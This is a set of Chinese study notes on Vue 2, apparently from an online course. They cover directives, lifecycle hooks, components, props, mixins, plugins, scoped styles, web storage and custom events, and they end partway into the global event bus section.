需求2：定义一个v-fbind指令，和v-bind功能类似，但可以让其所绑定的input元素默认获取焦点。

自定义指令总结：

回调函数：我们定义的我们没执行，但是最终这个还是执行了

一、定义语法：

(1).局部指令：

new Vue({ new Vue({

directives:{指令名:配置对象}(可以配置细节内容) 或 directives{指令名:回调函数}(不能配置细节内容)

}) })

(2).全局指令：

Vue.directive(指令名,配置对象) 或 Vue.directive(指令名,回调函数)

二、配置对象中常用的3个回调：

(1).bind：指令与元素成功绑定时调用。

(2).inserted：指令所在元素被插入页面时调用。

(3).update：指令所在模板结构被重新解析时调用。

三、备注：

1.指令定义时不加v-，但使用时要加v-；

2.指令名如果是多个单词，要使用kebab-case命名方式，不要用camelCase命名。

```
    <div id="root">
        <h2>{{name}}</h2>
        <h2>当前的n值是：<span v-text="n"></span> </h2>
        <!-- <h2>放大10倍后的n值是：<span v-big-number="n"></span> </h2> -->
        <h2>放大10倍后的n值是：<span v-big="n"></span> </h2>
        <button @click="n++">点我n+1</button>
        <hr/>
        <input type="text" v-fbind:value="n">
    </div>

    //定义全局指令
    /* vue.directive('fbind',{
        //指令与元素成功绑定时（一上来）
        bind(element,binding){
            element.value = binding.value
        },
        //指令所在元素被插入页面时
        inserted(element,binding){
            element.focus()
        },
        //指令所在的模板被重新解析时
        update(element,binding){
```

```
            element.value = binding.value
        }
    }) */
    /* Vue.directive('fbind',function(element,binding){
        element.innerText = binding.value * 10//标签里的内容放大十倍
    })*/
    new Vue({
        el:'#root',
        data:{
            name:'尚硅谷',
            n:1
        },
        directives:{
            //big函数何时会被调用？1.指令与元素成功绑定时（一上来）仅仅是再内存中绑定成功，但是页面还没显示。2.指令所在的模板被重新解析时(数据变化就会模板重新解析)。
            /* 'big-number'(element,binding){
                // console.log('big')
                element.innerText = binding.value * 10
            }, */
            big(element,binding){
                // element就是真实dom元素（标签），binding就是元素和指令之间的一种关联关系,是对象，里面有value就是那个n的值binding.value
                // console.dir(element)//真实dom的属性和方法,span和span所有属性和方法
                // console.log(element instanceof HTMLElement)//instanceof就是判断谁是谁的实例 ， true
                console.log('big',this) //注意此处的this是window
                // console.log('big')
                element.innerText = binding.value * 10//标签里的内容放大十倍
            },
            fbind:{
                //指令与元素成功绑定时（一上来）,仅在内存绑定成功，页面还没显示
                bind(element,binding){
                    element.value = binding.value
                    // element.force()//就是获取焦点，但这里获取焦点没作用
                },
                //指令所在元素被插入页面时
                inserted(element,binding){
                    element.focus()
                },
```

```
                //指令所在的模板被重新解析时
                update(element,binding){
                    element.value = binding.value
                }
            }
        }
    })
    // 演示为什么获取焦点没作用
    <button id="btn">点我创建一个输入框</button>

    <script type="text/javascript" >
        const btn = document.getElementById('btn')
        btn.onclick = ()=>{
            const input = document.createElement('input')

            input.className = 'demo'//给一个class样式
            input.value = 99//输入框显示值
            input.onclick = ()=>{alert(1)}

            document.body.appendChild(input)

            input.focus()//获取焦点不能再
document.body.appendChild(input)之前出现，会没作用，因为获取焦点是在有了
input框，才能获取焦点。
            // input.parentElement.style.backgroundColor =
'skyblue'//input父级元素给个背景色，必须是有了input框才能知道谁是父级元素，都
有先后顺序的
        }
```

21.生命周期：

undefined在模板中显示在也页面上，不显示任何东西，写插值，里面的函数是定时器且没有return，则返回到模板的插值的值为undefined，不显示,但是因为函数中一直在修改data中的数据，所以会一直解析模板，然后不同的在插值中调用函数，死循环，开启很多个定时器

模板解析都是解析成虚拟dom，再转成真实dom，最后再把初始的真实dom放入（挂载）页面，当把真实的dom放到页面时告诉一声， 即mounted生命周期（挂载完毕或完成挂载）,这个生命周期钩子直调一次。如果有数据变化，那叫更新，不叫挂载了

回调函数就是你没有调用，但是最终执行了。

debugger真正调试使用，

region注释的实现需要ide（编程工具）支持:用法：大多是在单行注释符后，添加字符串 #region 和 #endregion,折叠所有区域,按键：ctrl + k + 8

1.又名：生命周期回调函数、生命周期函数、生命周期钩子。

2.是什么：Vue在关键时刻帮我们调用的一些特殊名称的函数。
3.生命周期函数的名字不可更改，但函数的具体内容是程序员根据需求编写的。
4.生命周期函数中的this指向是vm 或 组件实例对象。

你好啊

欢迎学习**Vue**

new Vue({ el:'#root', data:{ a:false, opacity:1 }, //Vue完成模板的解析并把初始的真实DOM元素放入页面后（挂载完毕）调用mounted mounted(){ console.log('mounted',this) setInterval(() => { this.opacity -= 0.01 if(this.opacity <= 0) this.opacity = 1 },16) }, })

```
    //通过外部的定时器实现（不推荐）
        /* setInterval(() => {
            vm.opacity -= 0.01
            if(vm.opacity <= 0) vm.opacity = 1
        },16) */

    <div id="root" :x="n">
        <h2 v-text="n"></h2>
        <h2>当前的n值是：{{n}}</h2>
        <button @click="add">点我n+1</button>
        <button @click="bye">点我销毁vm</button>
    </div>
    new Vue({
        el:'#root',
        // template:`//要想换行得用模板字符串``,不想换行就'',写了template
就不用再div中写东西了，但是template必须只有一个根节点，写一个div到时候会替换调掉
上面标签中的root的div
        //  <div>
        //      <h2>当前的n值是：{{n}}</h2>
        //      <button @click="add">点我n+1</button>
        //  </div>
        // `,
        data:{
            n:1
        },
        methods: {
            add(){
                console.log('add')
```

```
                this.n++
            },
            bye(){
                console.log('bye')
                this.$destroy()
            }
        },
        watch:{
            n(){
                console.log('n变了')
            }
        },
        beforeCreate() {
            console.log('beforeCreate')
        },
        created() {
            console.log('created')
        },
        beforeMount() {
            console.log('beforeMount')
            console.log(this)
            document.querySelector('h2').innerText='哈哈'
        },
        mounted() {
            console.log('mounted')
            console.log('mounted',this.$el instanceof
HTMLElement)//是否是真正的dom元素
        },
        beforeUpdate() {
            console.log('beforeUpdate')
            console.log(this.n)
        },
        updated() {
            console.log('updated')
        },
        beforeDestroy() {
            console.log('beforeDestroy')
            console.log(this.n)
            this.add()//调了add但是页面没变，因为到beforeDestroy就不会再进
行数据的修改更新等，只能使用它
        },
        destroyed() {
```

```
            console.log('destroyed')
        },
    })
```

常用的生命周期钩子：

1.mounted: 发送ajax请求、启动定时器、绑定自定义事件、订阅消息等【初始化操作】。

2.beforeDestroy: 清除定时器、解绑自定义事件、取消订阅消息等【收尾工作】。

关于销毁Vue实例

1.销毁后借助Vue开发者工具看不到任何信息。

2.销毁后自定义事件会失效，但原生DOM事件依然有效。

3.一般不会在beforeDestroy操作数据，因为即便操作数据，也不会再触发更新流程了。

```
    <div id="root">
        <h2 :style="{opacity}">欢迎学习Vue</h2>
        <button @click="opacity = 1">透明度设置为1</button>
        <button @click="stop">点我停止变换</button>
    </div>
    new Vue({
        el:'#root',
        data:{
            opacity:1
        },
        methods: {
            stop(){
                this.$destroy()//完全销毁一个实例。清理它与其它实例的连接，解绑它的全部指令及自定义事件监听器。
            }
        },
        //Vue完成模板的解析并把初始的真实DOM元素放入页面后（挂载完毕）调用mounted
        mounted(){
            console.log('mounted',this)
            this.timer = setInterval(() => {
                console.log('setInterval')
                this.opacity -= 0.01
                if(this.opacity <= 0) this.opacity = 1
            },16)
        },
        beforeDestroy() {
            clearInterval(this.timer)
```

```
            console.log('vm即将驾鹤西游了')
        },
    })
```

22.非单文件组件

Vue中使用组件的三大步骤：

一、定义组件(创建组件)

二、注册组件

三、使用组件(写组件标签)

一、如何定义一个组件？

使用Vue.extend(options)创建，其中options和new Vue(options)时传入的那个options几乎一样，但也有点区别；

区别如下：

1.el不要写，为什么？ ---- 最终所有的组件都要经过一个vm的管理，由vm中的el决定服务哪个容器。

2.data必须写成函数，为什么？ ----- 避免组件被复用时，数据存在引用关系。

备注：使用template可以配置组件结构。

二、如何注册组件？

1.局部注册：靠new Vue的时候传入components选项

2.全局注册：靠Vue.component('组件名',组件)

三、编写组件标签：

<school></school>

```
    <div id="root">
        <hello></hello>
        <hr>
        <h1>{{msg}}</h1>
        <hr>
        <!-- 第三步：编写组件标签 -->
        <school></school>
        <hr>
        <!-- 第三步：编写组件标签 -->
        <student></student>
    </div>

    <div id="root2">
        <hello></hello>
```

```
    </div>
    const school = Vue.extend({
        template:`
            <div class="demo">
                <h2>学校名称：{{schoolName}}</h2>
                <h2>学校地址：{{address}}</h2>
                <button @click="showName">点我提示学校名</button>
            </div>
        `,
        // el:'#root', //组件定义时，一定不要写el配置项，因为最终所有的组件都要被一个vm管理，由vm决定服务于哪个容器。
        data(){
            return {
                schoolName:'尚硅谷',
                address:'北京昌平'
            }
        },
        methods: {
            showName(){
                alert(this.schoolName)
            }
        },
    })

    //第一步：创建student组件
    const student = Vue.extend({
        template:`
            <div>
                <h2>学生姓名：{{studentName}}</h2>
                <h2>学生年龄：{{age}}</h2>
            </div>
        `,
        data(){
            return {
                studentName:'张三',
                age:18
            }
        }
    })

    //第一步：创建hello组件
    const hello = Vue.extend({
```

```
        template:`
            <div>
                <h2>你好啊！{{name}}</h2>
            </div>
        `,
        data(){
            return {
                name:'Tom'
            }
        }
    })

    //第二步：全局注册组件
    Vue.component('hello',hello)

    //创建vm
    new Vue({
        el:'#root',
        data:{
            msg:'你好啊！'
        },
        //第二步：注册组件（局部注册）
        components:{
            school,
            student
        }
    })

    new Vue({
        el:'#root2',
    })
```

几个注意点：

1.关于组件名：

一个单词组成：

第一种写法(首字母小写)：school

第二种写法(首字母大写)：School

多个单词组成：

第一种写法(kebab-case命名)：my-school

第二种写法(CamelCase命名)：MySchool （需要Vue脚手架支持)

备注：

(1).组件名尽可能回避HTML中已有的元素名称，例如：h2、H2都不行。

(2).可以使用name配置项指定组件在开发者工具中呈现的名字。

2.关于组件标签:

第一种写法：<school></school>

第二种写法：<school/>

备注：不用使用脚手架时，<school/>会导致后续组件不能渲染。

3.一个简写方式:

const school = Vue.extend(options) 可简写为：const school = options

组件的嵌套

```
<div id="root">

</div>
//定义student组件
const student = Vue.extend({
    name:'student',
    template:`
        <div>
            <h2>学生姓名：{{name}}</h2>
            <h2>学生年龄：{{age}}</h2>
        </div>
    `,
    data(){
        return {
            name:'尚硅谷',
            age:18
        }
    }
})

//定义school组件
const school = Vue.extend({
    name:'school',
    template:`
```

```
            <div>
                <h2>学校名称：{{name}}</h2>
                <h2>学校地址：{{address}}</h2>
                <student></student>
            </div>
        `,
        data(){
            return {
                name:'尚硅谷',
                address:'北京'
            }
        },
        //注册组件（局部）
        components:{
            student
        }
    })

    //定义hello组件
    const hello = Vue.extend({
        template:`<h1>{{msg}}</h1>`,
        data(){
            return {
                msg:'欢迎来到尚硅谷学习！'
            }
        }
    })

    //定义app组件
    const app = Vue.extend({
        template:`
            <div>
                <hello></hello>
                <school></school>
            </div>
        `,
        components:{
            school,
            hello
        }
    })
```

```
        //创建vm
        new Vue({
            template:'<app></app>',
            el:'#root',
            //注册组件（局部）
            components:{app}
        })
```

关于VueComponent：

1.school组件本质是一个名为VueComponent的构造函数，且不是程序员定义的，是Vue.extend生成的。

2.我们只需要写<school/>或<school></school>，Vue解析时会帮我们创建school组件的实例对象，

即Vue帮我们执行的：new VueComponent(options)。

3.特别注意：每次调用Vue.extend，返回的都是一个全新的VueComponent！！！！

4.关于this指向：

(1).组件配置中：

data函数、methods中的函数、watch中的函数、computed中的函数 它们的this均是【VueComponent实例对象】。

(2).new Vue(options)配置中：

data函数、methods中的函数、watch中的函数、computed中的函数 它们的this均是【Vue实例对象】。

5.VueComponent的实例对象，以后简称vc（也可称之为：组件实例对象）。

Vue的实例对象，以后简称vm。

vc和vm的区别：vm可写el，vc不可以，vm的data可以是对象也可以是函数，vc的data只能是函数，需要return，其他都一样，都复用的

```
            <div id="root">
                <school></school>
                <hello></hello>
            </div>
            //定义school组件
            const school = Vue.extend({
                name:'school',
                template:`
                    <div>
                        <h2>学校名称：{{name}}</h2>
                        <h2>学校地址：{{address}}</h2>
```

```
                        <button @click="showName">点我提示学校名
</button>
                    </div>
                `,
                data(){
                    return {
                        name:'尚硅谷',
                        address:'北京'
                    }
                },
                methods: {
                    showName(){
                        console.log('showName',this)
                    }
                },
            })

            const test = Vue.extend({
                template:`<span>atguigu</span>`
            })

            //定义hello组件
            const hello = Vue.extend({
                template:`
                    <div>
                        <h2>{{msg}}</h2>
                        <test></test>
                    </div>
                `,
                data(){
                    return {
                        msg:'你好啊！'
                    }
                },
                components:{test}
            })
            school.a=99
            // console.log('@',school.a)
            // console.log('@',hello.a)
            // console.log('@',school)
            // console.log('@',school===hello)
            // console.log('#',hello)
```

```
            //创建vm
            const vm = new Vue({
                el:'#root',
                components:{school,hello}
            })
```

1.一个重要的内置关系：VueComponent.prototype.__proto__ === Vue.prototype

2.为什么要有这个关系：让组件实例对象（vc）可以访问到 Vue原型上的属性、方法。

```
    <div id="root">
        <school></school>
    </div>
    Vue.prototype.x = 99

    //定义school组件
    const school = Vue.extend({
        name:'school',
        template:`
            <div>
                <h2>学校名称：{{name}}</h2>
                <h2>学校地址：{{address}}</h2>
                <button @click="showX">点我输出x</button>
            </div>
        `,
        data(){
            return {
                name:'尚硅谷',
                address:'北京'
            }
        },
        methods: {
            showX(){
                console.log(this.x)
            }
        },
    })

    //创建一个vm
    const vm = new Vue({
        el:'#root',
        data:{
```

```
            msg:'你好'
        },
        components:{school}
    })

    console.log(school.prototype.__proto__ === Vue.prototype)
    console.dir(Vue)//可在控制台写
    //定义一个构造函数
    /* function Demo(){
        this.a = 1
        this.b = 2
    }
    //创建一个Demo的实例对象
    const d = new Demo()

    console.log(Demo.prototype) //显示原型属性

    console.log(d.__proto__) //隐式原型属性

    console.log(Demo.prototype === d.__proto__)

    //程序员通过显示原型属性操作原型对象，追加一个x属性，值为99
    Demo.prototype.x = 99

    console.log('@',d) */
```

23.单文件组件

非单文件有个缺点：就是组件样式不能跟着组件走，得单独写一个.css文件

组件写法：

```
整体的单文件组件流程：
    1.index.html----->2.main.js---->3.app.vue----->4.school.vue----
>5.student.vue
        1.index.html
            <!DOCTYPE html>
            <html>
                <head>
```

```
                    <meta charset="UTF-8" />
                    <title>练习一下单文件组件的语法</title>
                </head>
                <body>
                    <!-- 准备一个容器 -->
                    <div id="root"></div>
                    <!-- <script type="text/javascript"
src="../js/vue.js"></script> -->
                    <!-- <script type="text/javascript"
src="./main.js"></script> -->
                </body>
            </html>
        2.main.js
            import App from './App.vue'

            new Vue({
                el:'#root',
                template:`<App></App>`,
                components:{App},
            })
        3.app.vue
            <template>
                <div>
                    <School></School>
                    <Student></Student>
                </div>
            </template>

            <script>
                //引入组件
                import School from './School.vue'
                import Student from './Student.vue'

                export default {
```

```
components: { Student },
            name:'App',
            components:{
              School,
              Student
            }
```

```
}
```

4.school.vue

```
<script>
    export default {
        name:'School',
        data(){
            return {
                name:'尚硅谷',
                address:'北京昌平'
            }
        },
        methods: {
            showName(){
                alert(this.name)
            }
        },
    }
</script>

<style>
    .demo{
        background-color: orange;
    }
</style>
```

5.student.vue

```
<template>
    <div>
        <h2>学生姓名：{{name}}</h2>
        <h2>学生年龄：{{age}}</h2>
    </div>
</template>

<script>
    export default {
        name:'Student',
        data(){
            return {
                name:'张三',
```

```
                        age:18
                    }
                }
            }
        </script>
```

24.*src*分析脚手架

脚手架文件结构

```
    ├── node_modules
    ├── public
    |   ├── favicon.ico: 页签图标
    |   └── index.html: 主页面
    ├── src
    |   ├── assets: 存放静态资源
    |   |   └── logo.png
    |   |── component: 存放组件
    |   |   └── HelloWorld.vue
    |   |── App.vue: 汇总所有组件
    |   |── main.js: 入口文件
    ├── .gitignore: git版本管制忽略的配置
    ├── babel.config.js: babel的配置文件
    ├── package.json: 应用包配置文件
    ├── README.md: 应用描述文件
    ├── package-lock.json：包版本控制文件

## 关于不同版本的Vue

1. vue.js与vue.runtime.xxx.js的区别：
    1. vue.js是完整版的Vue，包含：核心功能 + 模板解析器。
    2. vue.runtime.xxx.js是运行版的Vue，只包含：核心功能；没有模板解析器。
2. 因为vue.runtime.xxx.js没有模板解析器，所以不能使用template这个配置项，需要使用render函数接收到的createElement函数去指定具体内容。

## vue.config.js配置文件

1. 使用vue inspect > output.js可以查看到Vue脚手架的默认配置。
2. 使用vue.config.js可以对脚手架进行个性化定制，详情见：
https://cli.vuejs.org/zh

        main.js
```

```
/*
    该文件是整个项目的入口文件
*/
//引入Vue
import Vue from 'vue'
//引入App组件，它是所有组件的父组件
import App from './App.vue'
//关闭vue的生产提示
Vue.config.productionTip = false

/*
    关于不同版本的Vue：

        1.vue.js与vue.runtime.xxx.js的区别：
            (1).vue.js是完整版的Vue，包含：核心功能+模板解析器。
            (2).vue.runtime.xxx.js是运行版的Vue，只包含：核心功能；没有模板解析器。

        2.因为vue.runtime.xxx.js没有模板解析器，所以不能使用template配置项，需要使用
            render函数接收到的createElement函数去指定具体内容。
*/

//创建Vue实例对象---vm
new Vue({
    el:'#app',
    //render函数完成了这个功能：将App组件放入容器中
render: h => h(App),
    // render:q=> q('h1','你好啊')

    // template:`<h1>你好啊</h1>`,
    // components:{App},
})
```

25._src_ref属性

1. 被用来给元素或子组件注册引用信息（id的替代者）
2. 应用在html标签上获取的是真实DOM元素，应用在组件标签上是组件实例对象（vc）
3. 使用方式：
    1. 打标识：`<h1 ref="xxx">.....</h1>` 或 `<School ref="xxx"></School>`

2. 获取：`this.$refs.xxx`

```
        <script>
            //引入School组件
            import School from './components/School'

            export default {
                name:'App',
                components:{School},
                data() {
                    return {
                        msg:'欢迎学习Vue! '
                    }
                },
                methods: {
                    showDOM(){
                        // 获取dom标签，对传统的html标签可直接用id或ref来获取dom标签，但是对于组件标签用ref就不是，他只得该组件的VC，而用id就是获取该组件的所有标签
                        //console.log(document.getElementById('title'))
                        //console.log(document.getElementById('sch'))
                        console.log(this.$refs.title) //真实DOM元素
                        console.log(this.$refs.btn) //真实DOM元素
                        console.log(this.$refs.sch) //School组件的实例对象（vc）
                    }
                },
            }
        </script>
```

26.props配置项

props的优先级大于data的优先级，并且props中的数据比data中的数据先解析,所以data中的数据可以引用props中的数据

1. 功能：让组件接收外部传过来的数据
2. 传递数据：`<Demo name="xxx"/>`
3. 接收数据：
    1. 第一种方式（只接收）：`props:['name']`
    2. 第二种方式（限制类型）：`props:{name:String}`

3. 第三种方式（限制类型、限制必要性、指定默认值）：

```
js
        props:{
            name:{
            type:String, //类型
            required:true, //必要性
            default:'老王' //默认值
            }
        }
```

> 备注：props是只读的，Vue底层会监测你对props的修改，如果进行了修改，就会发出警告，若业务需求确实需要修改，那么请复制props的内容到data中一份，然后去修改data中的数据。

:age="18",加冒号就是转换为js表达式表达的结果，转换为数字类型

app.vue

import Student from './components/Student'

```
            export default {
                name:'App',
                components:{Student}
            }
        </script>
    student.vue
        <template>
            <div>
                <h1>{{msg}}</h1>
                <h2>学生姓名：{{name}}</h2>
                <h2>学生性别：{{sex}}</h2>
                // <h2>学生年龄：{{age*1+1}}</h2>
                <h2>学生年龄：{{myAge+1}}</h2>
                <button @click="updateAge">尝试修改收到的年龄
</button>
            </div>
        </template>
        <script>
            export default {
                name:'Student',
                data() {
                    console.log(this)
                    return {
```

```
                        msg:'我是一个尚硅谷的学生',
                        myAge:this.age
                    }
                },
                methods: {
                    updateAge(){
                        this.myAge++
                    }
                },
                //简单声明接收
                // props:['name','age','sex']

                //接收的同时对数据进行类型限制
                /* props:{
                    name:String,
                    age:Number,
                    sex:String
                } */

                //接收的同时对数据：进行类型限制+默认值的指定+必要性的限
制
                props:{
                    name:{
                        type:String, //name的类型是字符串
                        required:true, //name是必要的
                    },
                    age:{
                        type:Number,
                        default:99 //默认值
                    },
                    sex:{
                        type:String,
                        required:true
                    }
                }
            }
        </script>
```

27._src_mixin混入（合）

mixin(混入)

mixin要单独写一个js文件

mixin混合就是复用配置（数据，方法，生命周期钩子等等）

data的优先级大于mixin的优先级,为不破坏组件内容，所以data中的数据优先于mixin中的数据（当有相同数据时）则不会显示mixin中冲突的相同数据,但是当有生命周期钩子的时候就不一样了，两个都会显示，并且minix先显示，然后生命周期钩子中的数据在显示，

1. 功能：可以把多个组件共用的配置提取成一个混入对象
2. 使用方式：

第一步定义混合：

```
{
                data(){....},
                methods:{....}
                ....
            }
```

第二步使用混入：

全局混入：`Vue.mixin(xxx)`

局部混入：`mixins:['xxx']`

mixin.js

```
export const hunhe = {
  methods: {
    showName(){
      alert(this.name)
    }
  },
  mounted() {
    console.log('你好啊！')
  },
}
export const hunhe2 = {
  data() {
    return {
      x:100,
      y:200
    }
  },
}
```

main.js

```
//引入Vue
import Vue from 'vue'
//引入App
import App from './App.vue'
```

import {hunhe,hunhe2} from './mixin'
//关闭Vue的生产提示
Vue.config.productionTip = false

```
        Vue.mixin(hunhe)
        Vue.mixin(hunhe2)

        //创建vm
        new Vue({
            el:'#app',
            render: h => h(App)
        })
    app.vue
        <template>
            <div>
                <School/>
                <hr>
                <Student/>
            </div>
        </template>
        <script>
            import School from './components/School'
            import Student from './components/Student'
            export default {
                name:'App',
                components:{School,Student}
            }
        </script>
    schoool.vue
        <template>
            <div>
                <h2 @click="showName">学校名称：{{name}}</h2>
                <h2>学校地址：{{address}}</h2>
            </div>
        </template>
        <script>
            //引入一个hunhe
            // import {hunhe,hunhe2} from '../mixin'
            export default {
                name:'School',
                data() {
                    return {
```

```
                    name:'尚硅谷',
                    address:'北京',
                    x:666
                }
            },
            // mixins:[hunhe,hunhe2],
        }
    </script>
```

28.*src*插件

插件

谁调用插件中的install方法，是vue在调用，导入插件和应用插件,//引入插件import plugins from './plugins'，//应用（使用）插件Vue.use(plugins,1,2,3)

插件能做什么呢？能传参数，参数是vue的缔造者vue构造函数，并且use的时候也能自己传参，是除vue之外的参数，里面可以定义全局指令,定义全局过滤器,定义混入,给Vue原型上添加一个方法（vm和vc就都能用了）

插件要单独写一个plugins.js插件，里面写插件内容。

vue的插件就是本质是对象，但是对象中必须有一个方法install方法，main.js中不能再定义插件

1. 功能：用于增强Vue

2. 本质：包含install方法的一个对象，install的第一个参数是Vue，第二个以后的参数是插件使用者传递的数据。

3. 定义插件：

```
```js
对象.install = function (Vue, options) {
  // 1. 添加全局过滤器
  Vue.filter(....)


  // 2. 添加全局指令
  Vue.directive(....)


  // 3. 配置全局混入(合)
  Vue.mixin(....)


  // 4. 添加实例方法
  Vue.prototype.$myMethod = function () {...}
  Vue.prototype.$myProperty = xxxx
}
```


4. 使用插件：```Vue.use()```
```

```
main.js
    //引入Vue
    import Vue from 'vue'
    //引入App
    import App from './App.vue'
    //引入插件
    import plugins from './plugins'
    //关闭Vue的生产提示
    Vue.config.productionTip = false

    //应用（使用）插件
    Vue.use(plugins,1,2,3)
    //创建vm
    new Vue({
        el:'#app',
        render: h => h(App)
    })
plugins.js
    export default {
        install(Vue,x,y,z){
            console.log(x,y,z)
            //全局过滤器
            Vue.filter('mySlice',function(value){
                return value.slice(0,4)
            })

            //定义全局指令
            Vue.directive('fbind',{
                //指令与元素成功绑定时（一上来）
                bind(element,binding){
                    element.value = binding.value
                },
                //指令所在元素被插入页面时
                inserted(element,binding){
                    element.focus()
                },
                //指令所在的模板被重新解析时
                update(element,binding){
                    element.value = binding.value
                }
            })
```

```
                    //定义混入
                    Vue.mixin({
                        data() {
                            return {
                                x:100,
                                y:200
                            }
                        },
                    })

                    //给Vue原型上添加一个方法（vm和vc就都能用了）
                    Vue.prototype.hello = ()=>{alert('你好啊')}
                }
            }
        student.vue
            <template>
                <div>
                    <h2>学生姓名：{{name}}</h2>
                    <h2>学生性别：{{sex}}</h2>
                    <input type="text" v-fbind:value="name">
                </div>
            </template>
            <script>
                export default {
                    name:'Student',
                    data() {
                        return {
                            name:'张三',
                            sex:'男'
                        }
                    },
                }
            </script>
        school.vue
            <template>
                <div>
                    <h2>学校名称：{{name | mySlice}}</h2>
                    <h2>学校地址：{{address}}</h2>
                    <button @click="test">点我测试一个hello方法
</button>
                </div>
            </template>
```

```
            <script>
                export default {
                    name:'School',
                    data() {
                        return {
                            name:'尚硅谷atguigu',
                            address:'北京',
                        }
                    },
                    methods: {
                        test(){
                            this.hello()
                        }
                    },
                }
            </script>
        app.vue
            <template>
                <div>
                    <School/>
                    <hr>
                    <Student/>
                </div>
            </template>
            <script>
                import School from './components/School'
                import Student from './components/Student'
                export default {
                    name:'App',
                    components:{School,Student}
                }
            </script>
```

29.*src_scoped*样式

*## scoped*样式

在每个组件中写的样式，最后都会放在一起，所以插件中有相同的*class*就会有相同的样式,类名冲突,后面的会把前面的覆盖，所以为了不妨碍就用*scoped*

在*app.vue*中就不适合用*scoped*，在其他的组件中就可以用，一般*app.vue*中写样式就是全局能用的，加了*scoped*就没意义

在*lang*中用*less*或*sass*，得下载他，但是有时会出现*error*，是因为*webpack*版本和*less*、*sass*版本不对应，所以下载必须和*webpack*版本相对应才行。

查看*webpack*全部版本可用*npm view webpack versions,*

查看*less*全部版本可用*npm view less-loader versions,*

1. 作用：让样式在局部生效，防止冲突。

2. 写法：`<style scoped>`

student.vue

school.vue

*30.*src_Todolist案例

31._浏览器本地存储

webStorage

toString()方法用于返回以一个字符串表示的 Number对象值。

JSON.stringify()方法将JavaScript对象转换为字符串

JSON.parse()方法将数据转换为 JavaScript 对象。

1. 存储内容大小一般支持5MB左右（不同浏览器可能还不一样）

2. 浏览器端通过 Window.sessionStorage 和 Window.localStorage 属性来实现本地存储机制。

3. 相关API：

1. `xxxxxStorage.setItem('key', 'value');`

该方法接受一个键和值作为参数，会把键值对添加到存储中，如果键名存在，则更新其对应的值。

2. `xxxxxStorage.getItem('person');`

该方法接受一个键名作为参数，返回键名对应的值。

3. `xxxxxStorage.removeItem('key');`

该方法接受一个键名作为参数，并把该键名从存储中删除。

4. `xxxxxStorage.clear()`

该方法会清空存储中的所有数据。

4. 备注：

1. SessionStorage存储的内容会随着浏览器窗口关闭而消失。

2. LocalStorage存储的内容，需要手动清除才会消失。

3. `xxxxxStorage.getItem(xxx)`如果xxx对应的value获取不到，那么getItem的返回值是null。

4. `JSON.parse(null)`的结果依然是null。

localStorage.html

localStorage

点我保存一个数据 点我读取一个数据 点我删除一个数据 点我清空一个数据 let p = {name:'张三',age:18} //保存到本地存储数据 function saveData(){ localStorage.setItem('msg','hello!!!') localStorage.setItem('msg2',666)//数字也会转成字符串 localStorage.setItem('person',p)//会调tostring，toString()方法用于返回以一个字符串表示的 Number对象值。结果[object,object] localStorage.setItem('person',JSON.stringify(p))//JSON.stringify()方法将JavaScript对象转换为字符串 } //读取本地存储数据 function readData(){ console.log(localStorage.getItem('msg')) console.log(localStorage.getItem('msg2'))

```
                            const result =
localStorage.getItem('person')
                            console.log(JSON.parse(result))

                            //
console.log(localStorage.getItem('msg3'))
                        }
                        //删除本地存储数据
                        function deleteData(){
                            localStorage.removeItem('msg2')
                        }
                        //删除所有本地存储数据
                        function deleteAllData(){
                            localStorage.clear()
                        }
                    </script>
                </body>
            sessionStorage.html
                <body>
                    <h2>sessionStorage</h2>
                    <button onclick="saveData()">点我保存一个数据
</button>
                    <button onclick="readData()">点我读取一个数据
</button>
                    <button onclick="deleteData()">点我删除一个数据
</button>
                    <button onclick="deleteAllData()">点我清空一个数据
</button>
                    <script type="text/javascript" >
                        let p = {name:'张三',age:18}
                        function saveData(){
```

```
sessionStorage.setItem('msg','hello!!!')
                            sessionStorage.setItem('msg2',666)//数字
也会转成字符串

sessionStorage.setItem('person',JSON.stringify(p))
                        }
                        function readData(){

console.log(sessionStorage.getItem('msg'))

console.log(sessionStorage.getItem('msg2'))

                            const result =
sessionStorage.getItem('person')
                            console.log(JSON.parse(result))

                            //
console.log(sessionStorage.getItem('msg3'))
                        }
                        function deleteData(){
                            sessionStorage.removeItem('msg2')
                        }
                        function deleteAllData(){
                            sessionStorage.clear()
                        }
                    </script>
                </body>
```

32.*src*组件自定义事件

组件的自定义事件

组件能不能用原生事件，如click等？能，但是不能和以前的写法一样了，因为他会以为是你写的自定义事件,所以可以写@click.native就可以用了

插值语法中的数据是从data,props,computed这三个中的来

组件自定义事件和js内置事件，js内置事件：是给html元素用的，组件自定义事件:是给组件用的

通过父组件给子组件传递函数类型的props实现：子给父传递数据，自定义事件不用props来传，好像更简单比props

通过父组件给子组件绑定一个自定义事件实现：子给父传递数据（第一种写法，使用@或v-on），v-on就是给该组件的实例对象VC身上绑定了一个事件@atguigu事件等,如何触发该事件：给谁绑的事件，就找谁触发事件，那就是找该组件的实例对象VC的$emit来触发该事件

通过父组件给子组件绑定一个自定义事件实现：子给父传递数据（第二种写法，使用ref）,该方法比较灵活，可以写时钟等，this.$refs.student就能该组件的实例对象，写在生命周期钩子中mounted,this.$refs.student.$on('事件'，'方法')当事件被触发的时候，执行回调就是方法

1. 一种组件间通信的方式，适用于：子组件 ===> 父组件
2. 使用场景：A是父组件，B是子组件，B想给A传数据，那么就要在A中给B绑定自定义事件（事件的回调在A中）。
3. 绑定自定义事件：
   1. 第一种方式，在父组件中：`<Demo @atguigu="test"/>` 或 `<Demo v-on:atguigu="test"/>`
   2. 第二种方式，在父组件中：

```
js
                <Demo ref="demo"/>
                ......
                mounted(){
                this.$refs.xxx.$on('atguigu',this.test)
                }
```

   3. 若想让自定义事件只能触发一次，可以使用`once`修饰符，或`$once`方法。
4. 触发自定义事件：`this.$emit('atguigu',数据)`
5. 解绑自定义事件`this.$off('atguigu')`
6. 组件上也可以绑定原生DOM事件，需要使用`native`修饰符。
7. 注意：通过`this.$refs.xxx.$on('atguigu',回调)`绑定自定义事件时，回调要么配置在methods中，要么用箭头函数，否则this指向会出问题！

main.js

```
//引入Vue
import Vue from 'vue'
//引入App
import App from './App.vue'
//关闭Vue的生产提示
Vue.config.productionTip = false
//创建vm
new Vue({
   el:'#app',
   render: h => h(App),
   /* mounted() {
      setTimeout(()=>{
         this.$destroy()//销毁VM实例对象
      },3000)
   }, */
})
```

app.vue

school.vue

student.vue

33.*src*全局事件总线

全局事件总线（GlobalEventBus）

这就是兄弟之间的通信，任意组件之间的通信，就是会有一个bus来承担所有，bus所满足的条件就是：所有组件都能看到，有$emint,$on,#offS和

